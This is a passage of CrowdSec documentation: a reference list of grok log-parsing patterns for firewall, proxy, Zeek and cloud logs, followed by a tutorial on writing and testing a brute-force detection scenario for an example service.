%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_SCHEDULE_HOST_DOWNTIME:nagios_command};%{DATA:nagios_hostname};%{NUMBER:nagios_start_time};%{NUMBER:nagios_end_time};%{NUMBER:nagios_fixed};%{NUMBER:nagios_trigger_id};%{NUMBER:nagios_duration};%{DATA:author};%{DATA:comment} ``` ## SYSLOG5424BASE[โ€‹](#syslog5424base "Direct link to SYSLOG5424BASE") Pattern : TEXTCOPY ``` %{SYSLOG5424PRI}%{NONNEGINT:syslog5424_ver} +(?:%{TIMESTAMP_ISO8601:syslog5424_ts}|-) +(?:%{HOSTNAME:syslog5424_host}|-) +(-|%{SYSLOG5424PRINTASCII:syslog5424_app}) +(-|%{SYSLOG5424PRINTASCII:syslog5424_proc}) +(-|%{SYSLOG5424PRINTASCII:syslog5424_msgid}) +(?:%{SYSLOG5424SD:syslog5424_sd}|-|) ``` ## CISCOFW106100\_2\_3[โ€‹](#ciscofw106100_2_3 "Direct link to CISCOFW106100_2_3") Pattern : TEXTCOPY ``` access-list %{NOTSPACE:policy_id} %{CISCO_ACTION:action} %{WORD:protocol} for user '%{DATA:src_fwuser}' %{DATA:src_interface}/%{IP:src_ip}\(%{INT:src_port}\) -> %{DATA:dst_interface}/%{IP:dst_ip}\(%{INT:dst_port}\) hit-cnt %{INT:hit_count} %{CISCO_INTERVAL:interval} \[%{DATA:hashcode1}, %{DATA:hashcode2}\] ``` ## CISCOFW106100[โ€‹](#ciscofw106100 "Direct link to CISCOFW106100") Pattern : TEXTCOPY ``` access-list %{NOTSPACE:policy_id} %{CISCO_ACTION:action} %{WORD:protocol} %{DATA:src_interface}/%{IP:src_ip}\(%{INT:src_port}\)(\(%{DATA:src_fwuser}\))? -> %{DATA:dst_interface}/%{IP:dst_ip}\(%{INT:dst_port}\)(\(%{DATA:src_fwuser}\))? hit-cnt %{INT:hit_count} %{CISCO_INTERVAL:interval} \[%{DATA:hashcode1}, %{DATA:hashcode2}\] ``` ## RT\_FLOW2[โ€‹](#rt_flow2 "Direct link to RT_FLOW2") Pattern : TEXTCOPY ``` %{RT_FLOW_EVENT:event}: session created %{IP:src-ip}/%{INT:src-port}->%{IP:dst-ip}/%{INT:dst-port} %{DATA:service} %{IP:nat-src-ip}/%{INT:nat-src-port}->%{IP:nat-dst-ip}/%{INT:nat-dst-port} %{DATA:src-nat-rule-name} %{DATA:dst-nat-rule-name} %{INT:protocol-id} %{DATA:policy-name} %{DATA:from-zone} %{DATA:to-zone} %{INT:session-id} .* ``` ## CISCOFW733100[โ€‹](#ciscofw733100 "Direct link to CISCOFW733100") Pattern : TEXTCOPY ``` \[\s*%{DATA:drop_type}\s*\] drop %{DATA:drop_rate_id} exceeded. Current burst rate is %{INT:drop_rate_current_burst} per second, max configured rate is %{INT:drop_rate_max_burst}; Current average rate is %{INT:drop_rate_current_avg} per second, max configured rate is %{INT:drop_rate_max_avg}; Cumulative total count is %{INT:drop_total_count} ``` ## CISCOFW106023[โ€‹](#ciscofw106023 "Direct link to CISCOFW106023") Pattern : TEXTCOPY ``` %{CISCO_ACTION:action}( protocol)? %{WORD:protocol} src %{DATA:src_interface}:%{DATA:src_ip}(/%{INT:src_port})?(\(%{DATA:src_fwuser}\))? dst %{DATA:dst_interface}:%{DATA:dst_ip}(/%{INT:dst_port})?(\(%{DATA:dst_fwuser}\))?( \(type %{INT:icmp_type}, code %{INT:icmp_code}\))? by access-group "?%{DATA:policy_id}"? \[%{DATA:hashcode1}, %{DATA:hashcode2}\] ``` ## ELB\_ACCESS\_LOG[โ€‹](#elb_access_log "Direct link to ELB_ACCESS_LOG") Pattern : TEXTCOPY ``` %{TIMESTAMP_ISO8601:timestamp} %{NOTSPACE:elb} %{IP:clientip}:%{INT:clientport:int} (?:(%{IP:backendip}:?:%{INT:backendport:int})|-) %{NUMBER:request_processing_time:float} %{NUMBER:backend_processing_time:float} %{NUMBER:response_processing_time:float} %{INT:response:int} %{INT:backend_response:int} %{INT:received_bytes:int} %{INT:bytes:int} "%{ELB_REQUEST_LINE}" ``` ## MODSECRULETAGS[โ€‹](#modsecruletags "Direct link to MODSECRULETAGS") Pattern : TEXTCOPY ``` (?:\[tag %{QUOTEDSTRING:ruletag0}\] )?(?:\[tag %{QUOTEDSTRING:ruletag1}\] )?(?:\[tag %{QUOTEDSTRING:ruletag2}\] )?(?:\[tag %{QUOTEDSTRING:ruletag3}\] )?(?:\[tag %{QUOTEDSTRING:ruletag4}\] )?(?:\[tag %{QUOTEDSTRING:ruletag5}\] )?(?:\[tag %{QUOTEDSTRING:ruletag6}\] )?(?:\[tag %{QUOTEDSTRING:ruletag7}\] )?(?:\[tag %{QUOTEDSTRING:ruletag8}\] )?(?:\[tag %{QUOTEDSTRING:ruletag9}\] )?(?:\[tag %{QUOTEDSTRING}\] )* ``` ## RT\_FLOW1[โ€‹](#rt_flow1 "Direct link to RT_FLOW1") Pattern : TEXTCOPY ``` %{RT_FLOW_EVENT:event}: %{GREEDYDATA:close-reason}: %{IP:src-ip}/%{INT:src-port}->%{IP:dst-ip}/%{INT:dst-port} %{DATA:service} %{IP:nat-src-ip}/%{INT:nat-src-port}->%{IP:nat-dst-ip}/%{INT:nat-dst-port} %{DATA:src-nat-rule-name} %{DATA:dst-nat-rule-name} %{INT:protocol-id} %{DATA:policy-name} %{DATA:from-zone} %{DATA:to-zone} %{INT:session-id} \d+\(%{DATA:sent}\) \d+\(%{DATA:received}\) %{INT:elapsed-time} .* ``` ## BRO\_CONN[โ€‹](#bro_conn "Direct link to BRO_CONN") Pattern : TEXTCOPY ``` %{NUMBER:ts}\t%{NOTSPACE:uid}\t%{IP:orig_h}\t%{INT:orig_p}\t%{IP:resp_h}\t%{INT:resp_p}\t%{WORD:proto}\t%{GREEDYDATA:service}\t%{NUMBER:duration}\t%{NUMBER:orig_bytes}\t%{NUMBER:resp_bytes}\t%{GREEDYDATA:conn_state}\t%{GREEDYDATA:local_orig}\t%{GREEDYDATA:missed_bytes}\t%{GREEDYDATA:history}\t%{GREEDYDATA:orig_pkts}\t%{GREEDYDATA:orig_ip_bytes}\t%{GREEDYDATA:resp_pkts}\t%{GREEDYDATA:resp_ip_bytes}\t%{GREEDYDATA:tunnel_parents} ``` ## S3\_ACCESS\_LOG[โ€‹](#s3_access_log "Direct link to S3_ACCESS_LOG") Pattern : TEXTCOPY ``` %{WORD:owner} %{NOTSPACE:bucket} \[%{HTTPDATE:timestamp}\] %{IP:clientip} %{NOTSPACE:requester} %{NOTSPACE:request_id} %{NOTSPACE:operation} %{NOTSPACE:key} (?:"%{S3_REQUEST_LINE}"|-) (?:%{INT:response:int}|-) (?:-|%{NOTSPACE:error_code}) (?:%{INT:bytes:int}|-) (?:%{INT:object_size:int}|-) (?:%{INT:request_time_ms:int}|-) (?:%{INT:turnaround_time_ms:int}|-) (?:%{QS:referrer}|-) (?:"?%{QS:agent}"?|-) (?:-|%{NOTSPACE:version_id}) ``` ## BRO\_DNS[โ€‹](#bro_dns "Direct link to BRO_DNS") Pattern : TEXTCOPY ``` %{NUMBER:ts}\t%{NOTSPACE:uid}\t%{IP:orig_h}\t%{INT:orig_p}\t%{IP:resp_h}\t%{INT:resp_p}\t%{WORD:proto}\t%{INT:trans_id}\t%{GREEDYDATA:query}\t%{GREEDYDATA:qclass}\t%{GREEDYDATA:qclass_name}\t%{GREEDYDATA:qtype}\t%{GREEDYDATA:qtype_name}\t%{GREEDYDATA:rcode}\t%{GREEDYDATA:rcode_name}\t%{GREEDYDATA:AA}\t%{GREEDYDATA:TC}\t%{GREEDYDATA:RD}\t%{GREEDYDATA:RA}\t%{GREEDYDATA:Z}\t%{GREEDYDATA:answers}\t%{GREEDYDATA:TTLs}\t%{GREEDYDATA:rejected} ``` ## CISCOFW302013\_302014\_302015\_302016[โ€‹](#ciscofw302013_302014_302015_302016 "Direct link to CISCOFW302013_302014_302015_302016") Pattern : TEXTCOPY ``` %{CISCO_ACTION:action}(?: %{CISCO_DIRECTION:direction})? %{WORD:protocol} connection %{INT:connection_id} for %{DATA:src_interface}:%{IP:src_ip}/%{INT:src_port}( \(%{IP:src_mapped_ip}/%{INT:src_mapped_port}\))?(\(%{DATA:src_fwuser}\))? to %{DATA:dst_interface}:%{IP:dst_ip}/%{INT:dst_port}( \(%{IP:dst_mapped_ip}/%{INT:dst_mapped_port}\))?(\(%{DATA:dst_fwuser}\))?( duration %{TIME:duration} bytes %{INT:bytes})?(?: %{CISCO_REASON:reason})?( \(%{DATA:user}\))? ``` ## SHOREWALL[โ€‹](#shorewall "Direct link to SHOREWALL") Pattern : TEXTCOPY ``` (%{SYSLOGTIMESTAMP:timestamp}) (%{WORD:nf_host}) kernel:.*Shorewall:(%{WORD:nf_action1})?:(%{WORD:nf_action2})?.*IN=(%{USERNAME:nf_in_interface})?.*(OUT= *MAC=(%{COMMONMAC:nf_dst_mac}):(%{COMMONMAC:nf_src_mac})?|OUT=%{USERNAME:nf_out_interface}).*SRC=(%{IPV4:nf_src_ip}).*DST=(%{IPV4:nf_dst_ip}).*LEN=(%{WORD:nf_len}).*?TOS=(%{WORD:nf_tos}).*?PREC=(%{WORD:nf_prec}).*?TTL=(%{INT:nf_ttl}).*?ID=(%{INT:nf_id}).*?PROTO=(%{WORD:nf_protocol}).*?SPT=(%{INT:nf_src_port}?.*DPT=%{INT:nf_dst_port}?.*) ``` ## HAPROXYTCP[โ€‹](#haproxytcp "Direct link to HAPROXYTCP") Pattern : TEXTCOPY ``` (?:%{SYSLOGTIMESTAMP:syslog_timestamp}|%{TIMESTAMP_ISO8601:timestamp8601}) %{IPORHOST:syslog_server} %{SYSLOGPROG}: %{IP:client_ip}:%{INT:client_port} \[%{HAPROXYDATE:accept_date}\] %{NOTSPACE:frontend_name} %{NOTSPACE:backend_name}/%{NOTSPACE:server_name} %{INT:time_queue}/%{INT:time_backend_connect}/%{NOTSPACE:time_duration} %{NOTSPACE:bytes_read} %{NOTSPACE:termination_state} %{INT:actconn}/%{INT:feconn}/%{INT:beconn}/%{INT:srvconn}/%{NOTSPACE:retries} %{INT:srv_queue}/%{INT:backend_queue} ``` ## CISCOFW313005[โ€‹](#ciscofw313005 "Direct link to CISCOFW313005") Pattern : TEXTCOPY ``` %{CISCO_REASON:reason} for %{WORD:protocol} error message: %{WORD:err_protocol} src %{DATA:err_src_interface}:%{IP:err_src_ip}(\(%{DATA:err_src_fwuser}\))? dst %{DATA:err_dst_interface}:%{IP:err_dst_ip}(\(%{DATA:err_dst_fwuser}\))? \(type %{INT:err_icmp_type}, code %{INT:err_icmp_code}\) on %{DATA:interface} interface\. Original IP payload: %{WORD:protocol} src %{IP:orig_src_ip}/%{INT:orig_src_port}(\(%{DATA:orig_src_fwuser}\))? dst %{IP:orig_dst_ip}/%{INT:orig_dst_port}(\(%{DATA:orig_dst_fwuser}\))? ``` ## BRO\_FILES[โ€‹](#bro_files "Direct link to BRO_FILES") Pattern : TEXTCOPY ``` %{NUMBER:ts}\t%{NOTSPACE:fuid}\t%{IP:tx_hosts}\t%{IP:rx_hosts}\t%{NOTSPACE:conn_uids}\t%{GREEDYDATA:source}\t%{GREEDYDATA:depth}\t%{GREEDYDATA:analyzers}\t%{GREEDYDATA:mime_type}\t%{GREEDYDATA:filename}\t%{GREEDYDATA:duration}\t%{GREEDYDATA:local_orig}\t%{GREEDYDATA:is_orig}\t%{GREEDYDATA:seen_bytes}\t%{GREEDYDATA:total_bytes}\t%{GREEDYDATA:missing_bytes}\t%{GREEDYDATA:overflow_bytes}\t%{GREEDYDATA:timedout}\t%{GREEDYDATA:parent_fuid}\t%{GREEDYDATA:md5}\t%{GREEDYDATA:sha1}\t%{GREEDYDATA:sha256}\t%{GREEDYDATA:extracted} ``` ## BRO\_HTTP[โ€‹](#bro_http "Direct link to BRO_HTTP") Pattern : TEXTCOPY ``` %{NUMBER:ts}\t%{NOTSPACE:uid}\t%{IP:orig_h}\t%{INT:orig_p}\t%{IP:resp_h}\t%{INT:resp_p}\t%{INT:trans_depth}\t%{GREEDYDATA:method}\t%{GREEDYDATA:domain}\t%{GREEDYDATA:uri}\t%{GREEDYDATA:referrer}\t%{GREEDYDATA:user_agent}\t%{NUMBER:request_body_len}\t%{NUMBER:response_body_len}\t%{GREEDYDATA:status_code}\t%{GREEDYDATA:status_msg}\t%{GREEDYDATA:info_code}\t%{GREEDYDATA:info_msg}\t%{GREEDYDATA:filename}\t%{GREEDYDATA:bro_tags}\t%{GREEDYDATA:username}\t%{GREEDYDATA:password}\t%{GREEDYDATA:proxied}\t%{GREEDYDATA:orig_fuids}\t%{GREEDYDATA:orig_mime_types}\t%{GREEDYDATA:resp_fuids}\t%{GREEDYDATA:resp_mime_types} ``` ## NETSCREENSESSIONLOG[โ€‹](#netscreensessionlog "Direct link to NETSCREENSESSIONLOG") Pattern : TEXTCOPY ``` %{SYSLOGTIMESTAMP:date} %{IPORHOST:device} %{IPORHOST}: NetScreen device_id=%{WORD:device_id}%{DATA}: start_time=%{QUOTEDSTRING:start_time} duration=%{INT:duration} policy_id=%{INT:policy_id} service=%{DATA:service} proto=%{INT:proto} src zone=%{WORD:src_zone} dst zone=%{WORD:dst_zone} action=%{WORD:action} sent=%{INT:sent} rcvd=%{INT:rcvd} src=%{IPORHOST:src_ip} dst=%{IPORHOST:dst_ip} src_port=%{INT:src_port} dst_port=%{INT:dst_port} src-xlated ip=%{IPORHOST:src_xlated_ip} port=%{INT:src_xlated_port} dst-xlated ip=%{IPORHOST:dst_xlated_ip} port=%{INT:dst_xlated_port} session_id=%{INT:session_id} reason=%{GREEDYDATA:reason} ``` ## HAPROXYHTTPBASE[โ€‹](#haproxyhttpbase "Direct link to HAPROXYHTTPBASE") Pattern : TEXTCOPY ``` %{IP:client_ip}:%{INT:client_port} \[%{HAPROXYDATE:accept_date}\] %{NOTSPACE:frontend_name} %{NOTSPACE:backend_name}/%{NOTSPACE:server_name} %{INT:time_request}/%{INT:time_queue}/%{INT:time_backend_connect}/%{INT:time_backend_response}/%{NOTSPACE:time_duration} %{INT:http_status_code} %{NOTSPACE:bytes_read} %{DATA:captured_request_cookie} %{DATA:captured_response_cookie} %{NOTSPACE:termination_state} %{INT:actconn}/%{INT:feconn}/%{INT:beconn}/%{INT:srvconn}/%{NOTSPACE:retries} %{INT:srv_queue}/%{INT:backend_queue} (\\{\%\{HAPROXYCAPTUREDREQUESTHEADERS}\})?( )?(\\{\%\{HAPROXYCAPTUREDRESPONSEHEADERS}\})?( )?"(|(%{WORD:http_verb} (%{URIPROTO:http_proto}://)?(?:%{USER:http_user}(?::[^@]*)?@)?(?:%{URIHOST:http_host})?(?:%{URIPATHPARAM:http_request})?( HTTP/%{NUMBER:http_version})?))?" ``` ## BACULA\_LOGLINE[โ€‹](#bacula_logline "Direct link to BACULA_LOGLINE") Pattern : TEXTCOPY ``` %{BACULA_TIMESTAMP:bts} %{BACULA_HOST:hostname} JobId %{INT:jobid}: (%{BACULA_LOG_MAX_CAPACITY}|%{BACULA_LOG_END_VOLUME}|%{BACULA_LOG_NEW_VOLUME}|%{BACULA_LOG_NEW_LABEL}|%{BACULA_LOG_WROTE_LABEL}|%{BACULA_LOG_NEW_MOUNT}|%{BACULA_LOG_NOOPEN}|%{BACULA_LOG_NOOPENDIR}|%{BACULA_LOG_NOSTAT}|%{BACULA_LOG_NOJOBS}|%{BACULA_LOG_ALL_RECORDS_PRUNED}|%{BACULA_LOG_BEGIN_PRUNE_JOBS}|%{BACULA_LOG_BEGIN_PRUNE_FILES}|%{BACULA_LOG_PRUNED_JOBS}|%{BACULA_LOG_PRUNED_FILES}|%{BACULA_LOG_ENDPRUNE}|%{BACULA_LOG_STARTJOB}|%{BACULA_LOG_STARTRESTORE}|%{BACULA_LOG_USEDEVICE}|%{BACULA_LOG_DIFF_FS}|%{BACULA_LOG_JOBEND}|%{BACULA_LOG_NOPRUNE_JOBS}|%{BACULA_LOG_NOPRUNE_FILES}|%{BACULA_LOG_VOLUME_PREVWRITTEN}|%{BACULA_LOG_READYAPPEND}|%{BACULA_LOG_CANCELLING}|%{BACULA_LOG_MARKCANCEL}|%{BACULA_LOG_CLIENT_RBJ}|%{BACULA_LOG_VSS}|%{BACULA_LOG_MAXSTART}|%{BACULA_LOG_DUPLICATE}|%{BACULA_LOG_NOJOBSTAT}|%{BACULA_LOG_FATAL_CONN}|%{BACULA_LOG_NO_CONNECT}|%{BACULA_LOG_NO_AUTH}|%{BACULA_LOG_NOSUIT}|%{BACULA_LOG_JOB}|%{BACULA_LOG_NOPRIOR}) ``` ## NAGIOSLOGLINE[โ€‹](#nagioslogline "Direct link to NAGIOSLOGLINE") Pattern : TEXTCOPY ``` %{NAGIOSTIME} (?:%{NAGIOS_WARNING}|%{NAGIOS_CURRENT_SERVICE_STATE}|%{NAGIOS_CURRENT_HOST_STATE}|%{NAGIOS_SERVICE_NOTIFICATION}|%{NAGIOS_HOST_NOTIFICATION}|%{NAGIOS_SERVICE_ALERT}|%{NAGIOS_HOST_ALERT}|%{NAGIOS_SERVICE_FLAPPING_ALERT}|%{NAGIOS_HOST_FLAPPING_ALERT}|%{NAGIOS_SERVICE_DOWNTIME_ALERT}|%{NAGIOS_HOST_DOWNTIME_ALERT}|%{NAGIOS_PASSIVE_SERVICE_CHECK}|%{NAGIOS_PASSIVE_HOST_CHECK}|%{NAGIOS_SERVICE_EVENT_HANDLER}|%{NAGIOS_HOST_EVENT_HANDLER}|%{NAGIOS_TIMEPERIOD_TRANSITION}|%{NAGIOS_EC_LINE_DISABLE_SVC_CHECK}|%{NAGIOS_EC_LINE_ENABLE_SVC_CHECK}|%{NAGIOS_EC_LINE_DISABLE_HOST_CHECK}|%{NAGIOS_EC_LINE_ENABLE_HOST_CHECK}|%{NAGIOS_EC_LINE_PROCESS_HOST_CHECK_RESULT}|%{NAGIOS_EC_LINE_PROCESS_SERVICE_CHECK_RESULT}|%{NAGIOS_EC_LINE_SCHEDULE_HOST_DOWNTIME}|%{NAGIOS_EC_LINE_DISABLE_HOST_SVC_NOTIFICATIONS}|%{NAGIOS_EC_LINE_ENABLE_HOST_SVC_NOTIFICATIONS}|%{NAGIOS_EC_LINE_DISABLE_HOST_NOTIFICATIONS}|%{NAGIOS_EC_LINE_ENABLE_HOST_NOTIFICATIONS}|%{NAGIOS_EC_LINE_DISABLE_SVC_NOTIFICATIONS}|%{NAGIOS_EC_LINE_ENABLE_SVC_NOTIFICATIONS}) ``` ## IPV6[โ€‹](#ipv6 "Direct link to IPV6") Pattern : TEXTCOPY ``` ((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)? ``` # Documentation generation This documentation is generated by `pkg/parser` : `GO_WANT_TEST_DOC=1 go test -run TestGeneratePatternsDoc` --- # Creating scenarios caution All the examples assume that you have read the [Creating parsers](https://docs.crowdsec.net/docs/next/log_processor/parsers/create.md) documentation. ## Foreword[โ€‹](#foreword "Direct link to Foreword") This documentation assumes you're trying to create a scenario for crowdsec with the intent of submitting to the hub, and thus create the associated functional testing. The creation of said functional testing will guide our process and will make it easier. We're going to create a scenario for an imaginary service "myservice" from the following logs of failed authentication : TEXTCOPY ``` Dec 8 06:28:43 mymachine myservice[2806]: unknown user 'toto' from '192.168.1.1' Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' ``` There's a [yaml schema available](https://github.com/crowdsecurity/crowdsec-yaml-schemas/blob/main/scenario_schema.yaml) for the scenario and linked at [SchemaStore](https://github.com/SchemaStore/schemastore/blob/master/src/api/json/catalog.json) for general public availability inside most common editors. You will be able see if the scenario comply to the schema directly in your editor, and you will have some kind of syntax highlighting and suggestions. The only requirement for this is to write your scenario using the directory structure of the hub to make the editor detects that the file has to comply to the yaml schema. This means that you will have to write the scenario in one subdirectory of the `scenarios` directory. This subdirectory is named after your name, or your organization name. As an example `scenarios/crowdsecurity/ssh-bf.yaml` matches this directory structure. Note that extension of the scenario has to be `.yaml`. ## Pre-requisites[โ€‹](#pre-requisites "Direct link to Pre-requisites") 1. [Create a local test environment](https://doc.crowdsec.net/docs/contributing/contributing_test_env) 2. Clone the hub SHCOPY ``` git clone https://github.com/crowdsecurity/hub.git ``` ## Create our test[โ€‹](#create-our-test "Direct link to Create our test") From the root of the hub repository : SHCOPY ``` โ–ถ cscli hubtest create myservice-bf --type syslog --ignore-parsers Test name : myservice-bf Test path : /home/dev/github/hub/.tests/myservice-bf Log file : /home/dev/github/hub/.tests/myservice-bf/myservice-bf.log (please fill it with logs) Parser assertion file : /home/dev/github/hub/.tests/myservice-bf/parser.assert (please fill it with assertion) Scenario assertion file : /home/dev/github/hub/.tests/myservice-bf/scenario.assert (please fill it with assertion) Configuration File : /home/dev/github/hub/.tests/myservice-bf/config.yaml (please fill it with parsers, scenarios...) ``` **note: we specify the `--ignore-parsers` flag because we don't want to test the parsers, only the scenarios.** ## Configure our test[โ€‹](#configure-our-test "Direct link to Configure our test") Let's add our parser and scenario to the test configuration (`.tests/myservice-bf/config.yaml`) file. YAMLCOPY ``` parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/myservice-logs.yaml scenarios: - ./scenarios/crowdsecurity/myservice-bf.yaml postoverflows: - "" log_file: myservice-bf.log log_type: syslog ignore_parsers: true ``` **note: as our custom parser and scenario are not yet part of the hub, we specify their path relative to the root of the hub directory.** ## Scenario creation[โ€‹](#scenario-creation "Direct link to Scenario creation") Let's create a simple scenario to detect bruteforce attemp on `myservice`: YAMLCOPY ``` # myservice bruteforce type: leaky name: crowdsecurity/myservice-bf description: "Detect myservice bruteforce" filter: "evt.Meta.log_type == 'myservice_failed_auth'" leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: myservice confidence: 3 spoofable: 0 classification: - attack.T1110 behavior: "myservice:bruteforce" label: "myservice bruteforce" service: myservice remediation: true ``` note We filter on `evt.Meta.log_type == 'myservice_failed_auth'` because in the parser `myservice-logs` (created in the [Creating parsers](https://docs.crowdsec.net/docs/next/log_processor/parsers/create.md) part) we set the `log_type` to `myservice_failed_auth` for bad password or bad user attempt. We have the following fields: * a [type](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#type): the type of bucket to use (trigger or leaky). * a [name](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#name) * a [description](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#description) * a [filter](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#type): the filter to apply on events to be filled in this bucket. * a [leakspeed](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#leakspeed) * a [capacity](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#capacity): the number of events in the bucket before it overflows. * a [groupby](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#groupby): a field from the event to partition the bucket. It is often the `source_ip` of the event. * a [blackhole](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#blackhole): the number of minute to not retrigger this scenario for the same `groupby` field. * a [reprocess](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#reprocess): ingest the alert in crowdsec for further processing. * some [labels](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#labels): Some labels are mandatory and the scenario will not be validated by the Hub if they are missing. Don't forget to set `remediation: true` if you want the IP to be blocked by bouncers. We can then "test" our scenario like this : SHCOPY ``` โ–ถ cscli hubtest run myservice-bf INFO[01-10-2021 12:41:21 PM] Running test 'myservice-bf' WARN[01-10-2021 12:41:24 PM] Assert file '/home/dev/github/hub/.tests/myservice-bf/scenario.assert' is empty, generating assertion: len(results) == 1 "192.168.1.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.1.1"].IP == "192.168.1.1" results[0].Overflow.Sources["192.168.1.1"].Range == "" results[0].Overflow.Sources["192.168.1.1"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.1.1"].GetValue() == "192.168.1.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "myservice-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_subtype") == "myservice_bad_user" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "myservice_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "myservice" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.1" results[0].Overflow.Alert.Events[0].GetMeta("username") == "toto" .... results[0].Overflow.Alert.GetScenario() == "crowdsecurity/myservice-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 ... Please fill your assert file(s) for test 'myservice-bf', exiting ``` What happened here ? * The scenario has been triggered and is generating some assertion (for functional test) * In production environment, an alert would have been send to the CrowdSec Local API. We can again understand more of what is going on thanks to `cscli hubtest explain` : SHCOPY ``` โ–ถ cscli hubtest explain myservice-bf line: Dec 8 06:28:43 mymachine myservice[2806]: unknown user 'toto' from '192.168.1.1' โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs โ”œ s01-parse | โ”” ๐ŸŸข crowdsecurity/myservice-logs โ”œ s02-enrich | โ”” ๐ŸŸข crowdsecurity/dateparse-enrich โ”œ-------- parser success ๐ŸŸข โ”œ Scenarios โ”” ๐ŸŸข crowdsecurity/myservice-bf line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs โ”œ s01-parse | โ”” ๐ŸŸข crowdsecurity/myservice-logs โ”œ s02-enrich | โ”” ๐ŸŸข crowdsecurity/dateparse-enrich โ”œ-------- parser success ๐ŸŸข โ”œ Scenarios โ”” ๐ŸŸข crowdsecurity/myservice-bf line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs โ”œ s01-parse | โ”” ๐ŸŸข crowdsecurity/myservice-logs โ”œ s02-enrich | โ”” ๐ŸŸข crowdsecurity/dateparse-enrich โ”œ-------- parser success ๐ŸŸข โ”œ Scenarios โ”” ๐ŸŸข crowdsecurity/myservice-bf line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs โ”œ s01-parse | โ”” ๐ŸŸข crowdsecurity/myservice-logs โ”œ s02-enrich | โ”” ๐ŸŸข crowdsecurity/dateparse-enrich โ”œ-------- parser success ๐ŸŸข โ”œ Scenarios โ”” ๐ŸŸข crowdsecurity/myservice-bf line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs โ”œ s01-parse | โ”” ๐ŸŸข crowdsecurity/myservice-logs โ”œ s02-enrich | โ”” ๐ŸŸข crowdsecurity/dateparse-enrich โ”œ-------- parser success ๐ŸŸข โ”œ Scenarios โ”” ๐ŸŸข crowdsecurity/myservice-bf line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' from '192.168.1.1' โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs โ”œ s01-parse | โ”” ๐ŸŸข crowdsecurity/myservice-logs โ”œ s02-enrich | โ”” ๐ŸŸข crowdsecurity/dateparse-enrich โ”œ-------- parser success 